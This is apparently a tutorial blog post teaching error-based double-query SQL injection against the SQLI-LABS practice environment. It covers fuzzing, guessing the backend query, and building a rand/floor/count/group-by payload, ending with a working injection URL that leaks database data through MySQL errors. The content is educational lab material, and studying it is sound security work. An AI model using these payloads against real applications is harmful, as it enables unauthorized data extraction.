In the last article of the series, we started to explore the world of SQL injections by discussing different types and using the test bed available at https://github.com/Audi-1/sqli-labs. You can review the last post here.
Now, we will explore SQL injections even further and discuss Error based Double query injections, which are sometimes called sub query injections. Some people also refer to them as blind injections but I prefer to call them error based, as we would be using the errors to dump out the information to us. This would also go along the classification scheme we discussed in part1. I will be using the first post as a base and refer to it to explain the next part.
For this post, we will use Less-5 and Less-6 of the SQLI-LABS test bed.
Let’s start with the same enumeration process as discussed in the last article and see how it goes from there. We observe that the Less-5 and Less-6 look similar to the earlier lessons but with a very subtle difference. In earlier lessons, we were getting back username and password on the screen, but here we only get the message “You are in………”
Even if we iterate over the parameter ID with values from 1 to 14 we get same response.
ANALYSIS OF THE ENUMERATION
ID=1 => You are in………
ID=2 => You are in………
ID=3 => You are in………
ID=4 => You are in………
ID=5 => You are in………
ID=6 => You are in………
ID=7 => You are in………
ID=8 => You are in………
ID=9 => You are in………
ID=10 => You are in………
ID=11 => You are in………
ID=12 => You are in………
ID=13 => You are in………
ID=14 => You are in………
ID=15 => no output
ID=0 => no output
ID=99 => no output
ID=string => no output
RESULT OF ENUMERATION:
The application has 14 different entities; it returns “You are in…” on a valid entity, but returns a blank response on an invalid entity.
FUZZING:
As explained in the previous article, we fuzz the application to see if we are able to get traces of injection possibilities and find out how the application reacts to our malicious inputs.
Integer or String test:
Because the input looks to be integer type, therefore we try to test if the input is a real integer or if it also accepts string. For this, we try to inject a string into the parameter ID and examine the response. We observe that the application does not crash but it treats the string input similar to non existent values.
Some other injections could be as follows:
‘
”
;
)
(
aaa
Using these, we observe that our application crashes, giving out a MySQL error.
Less-5
Less-6
So by injecting a single quote, we observe that Less-5 produces a MySQL error whereas Less-6 Does not. The reverse happens if we inject double quotes instead:
IMPORTANT NOTE: From enumeration and the fuzzing process, we learned that the database is not reflecting back any output to the webpage, therefore we cannot use the UNION SELECT to dump the database information.
The only information we see reflecting back from the database on the webpage is in the form of MySQL errors. Therefore, we need to craft our queries in such a way that we are able to dump the database information through errors. The criteria for the query is that it’s syntactically correct and accepted by db driver and passed on to the backend database for execution. This query should then produce a logical error and dump information as an error string with the error returned.(Confused? Don’t worry, we will clear it shortly)
Guessing the Query:
From the fuzzing we did, we learned some useful information about the application. Now it’s time to guess the backend query. We observed that the Less-5 produces an error with the addition of a single quote, and Less-6 produces an error with the addition of double quotes. To assure ourselves that only quotes or double quotes are used to wrap around the variable in original query, we try to break the application with the addition of the escape character .
Less-5
On Less-5, let’s look at the part of the error dumped on the screen containing 1, which is
near ‘ ’1’ LIMIT 0,1′ at line 1.
We observe that, with our input of 1, a single quote is visible after that, indicating that single quotes are used as a wrapper for the strings.
Less-6
On Less-6, let’s look at the part of the error dumped on the screen containing 1, which is
near ‘ “1” LIMIT 0,1′ at line 1.
We observe that, with our input of 1, a double quote is visible after that, indicating that only double quotes are used as a wrapper for the strings.
COMMENTING OUT REST OF QUERY
Since we discovered that Less-5 uses single quotes as string boundaries, we now inject a quote by adding comments at the end to fix the query.
ID=1 ‘ –+
For Less-6, we can use this injection to fix the query.
ID=1″ –+
Therefore, after effective guessing, the query would be:
Less-5
SELECT * FROM table_name WHERE ID=’Value we inject’ LIMIT 0,1
Less-6
SELECT * FROM table_name WHERE ID= “Value we inject” LIMIT 0,1
UNDERSTANDING SUBQUERIES:
Before we proceed further with SQL injection, we need to understand the basics of subqueries. Subqueries can be defined as putting a query inside an existing query, or cascading one query inside another. The objective is to dynamically produce the result of the inner query and then get the result of the final query. Let’s try to understand it with an example.
Select concat((select database()));
In the above query, the blue part is the internal or sub query which gets evaluated first, and whose result is then passed to the concat function. This returns a string equivalent to the current selected database name which is then evaluated by the outer red colored Select keyword. This part evaluates a string (constant) which is actually name of the currently used database.
SQL INJECTIONS
In this type of query injections, we will be using specific functions available to the backend database. If you are not familiar with them, please look them up before proceeding.
1. Rand()
2. Floor()
3. Count()
4. Group by clause
Some great researchers figured out that using Group by clause along with an aggregate function like count(*) produced an error message dumping a part of the query as an error message, which henceforth evolved double query injections.
Let us start with basic building blocks and proceed to build a complete and complex query.
We will perform these experiments on the MySQL client and directly interact with the database to understand the concepts.
#mysql -u root –p toor (toor is default password of the MySQL root account on backtrack; change it as per your deployment.)
mysql> use security; – Name of our database
mysql> SELECT concat((select database()));– Dumps out current database name as string
mysql> SELECT concat(‘string1′,’string2′);
–
Dumps out the two strings as one big string.
–
Dumps out the two strings as one big string.
(Note: It does not matter if you use single quotes or double quotes to wrap your query.
Now let us look at the functions mentioned above in the article.
Mysql> Select rand(); – Returns a random value less than 1 every time it is run.
Mysql> Select floor(1.1123456); – Returns an integer value and discards all decimal values by default.
We can now group these functions together.
mysql>SELECT floor(rand()*2); – Create a random value, multiply it by 2 and then floor it to get the result. This would be either 0 or 1. Try it couple of times and see for yourself.
Now let us combine the things we learned so far to make some useful output. Let’s execute the following query:
Mysql>SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));
Analyzing the query:
We have here a nested query in which we wrapped a query inside another one. When this query executes, it first evaluatesSELECT DATABASE(), along with RAND()*2, whose output is used in FLOOR(), thereafter concatenating the output, giving a string which ends with 0 or 1.
Now if we query this string against any standard database table from MySQL, it will return SECURITY0 or SECURITY1 randomly.
Now let’s add the GROUP BY function to the query. This time, let’s try to use information_schema.tables or information_schema.columns tables to dump the results. The columns table would dump some 100+ entries which are good to check the random output. This group by clause hands us the distinct entries from the column.
mysql> select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
The label or alias “a” is added to display the Column name as “a” which can be referenced by GROUP BY Clause.
IMPORTANT:
Henceforth, the inner query SELECT database() can be replaced by any other query which we would like to get as a string output in MySQL error, such as SELECT version(), user(), datadir() or complete enumeration of the columns, tables or other databases as discussed in part 1.
Henceforth, the inner query SELECT database() can be replaced by any other query which we would like to get as a string output in MySQL error, such as SELECT version(), user(), datadir() or complete enumeration of the columns, tables or other databases as discussed in part 1.
Time to get the magic going.
mysql> select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
Gets us an error which has our string as part of error:
ERROR 1062 (23000): Duplicate entry ‘security1′ for key ‘group_key’
Kudos again to all those brilliant minds who found the deadly combination of Aggregate function with Group by clause and the repeating values that makes a syntactically correct query which when executed produces a runtime error.
Let us try to change the inner query to test something else.
mysql> select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
Some fancy inputs can be concatenated to distinguish a trailing 0 or 1 from our string.
mysql> select count(*), concat(‘~’,(select user()),’~', floor(rand()*2))as a from information_schema.tables group by a;
Error: ERROR 1062 (23000): Duplicate entry ‘~root@localhost~1′ for key ‘group_key’
Let us try to implement this logic through the front end web application. But before we proceed there, we need to look at another aspect called Derived table. The complete query we used above to produce an error can be used as a table name in a query, something like:
select 1 from (table name);
Why we need to do this, you can easily follow the explanations from the video lessons below, which includes a complete walk through of this article:
- http://www.youtube.com/watch?feature=player_embedded&v=zaRlcPbfX4M
- http://www.youtube.com/watch?feature=player_embedded&v=9utdAPxmvaI#!
mysql> select 1 from (select count(*), concat(‘~’,(select user()),’~', floor(rand()*2))as a from information_schema.tables group by a)x;
ERROR 1062 (23000): Duplicate entry ‘~root@localhost~0′ for key ‘group_key’
http://localhost/sqli-labs/Less-5/?id=1′+AND+(select+1+from+(select+count(*),+concat(‘~’,(select+user()),’~',+floor(rand()*2))as+a+from+information_schema.tables+group+by+a)x)–+
Replacing the internal query with what we want to extract gets us our output in the form of MySQL errors.
